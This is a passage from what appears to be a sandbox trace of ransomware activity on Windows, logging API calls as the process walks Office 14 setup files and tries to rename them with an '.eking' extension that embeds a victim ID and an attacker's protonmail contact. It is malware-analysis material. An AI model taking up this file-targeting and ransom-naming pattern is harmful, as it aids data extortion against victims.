"c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.516] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=9352) returned 1 [0170.516] CloseHandle (hObject=0x1ec) returned 1 [0170.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0170.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0170.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.518] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1383) returned 1 [0170.518] CloseHandle (hObject=0x1ec) returned 1 [0170.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0170.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0170.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.519] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2362) returned 1 [0170.519] CloseHandle (hObject=0x1ec) returned 1 [0170.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0170.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0170.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.520] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4274) returned 1 [0170.520] CloseHandle (hObject=0x1ec) returned 1 [0170.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0170.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0170.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.520] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1606) returned 1 [0170.520] CloseHandle (hObject=0x1ec) returned 1 [0170.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0170.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0170.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.522] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1988) returned 1 [0170.522] CloseHandle (hObject=0x1ec) returned 1 [0170.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0170.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0170.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.523] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7379816) returned 1 [0170.523] CloseHandle (hObject=0x1ec) returned 1 [0170.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll")) returned 0x20 [0170.523] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0170.524] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll")) returned 0 [0170.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0170.526] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=47520) returned 1 [0170.526] CloseHandle (hObject=0x1f0) returned 1 [0170.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 0x20 [0170.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 0x20 [0170.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0170.527] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4207) returned 1 [0170.527] CloseHandle (hObject=0x1f0) returned 1 [0170.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0170.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0170.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0170.528] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1463568) returned 1 [0170.528] CloseHandle (hObject=0x1f0) returned 1 [0170.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 0x20 [0170.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 0x20 [0170.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0170.530] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=715834) returned 1 [0170.530] CloseHandle (hObject=0x1f0) returned 1 [0170.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0170.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0170.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0170.534] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15736) returned 1 [0170.534] CloseHandle (hObject=0x1f0) returned 1 [0170.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0170.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0170.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0170.534] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1450) returned 1 [0170.535] CloseHandle (hObject=0x1f0) returned 1 [0170.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0170.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0170.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0170.536] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1886) returned 1 [0170.536] CloseHandle (hObject=0x1f0) returned 1 [0170.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0170.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0170.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 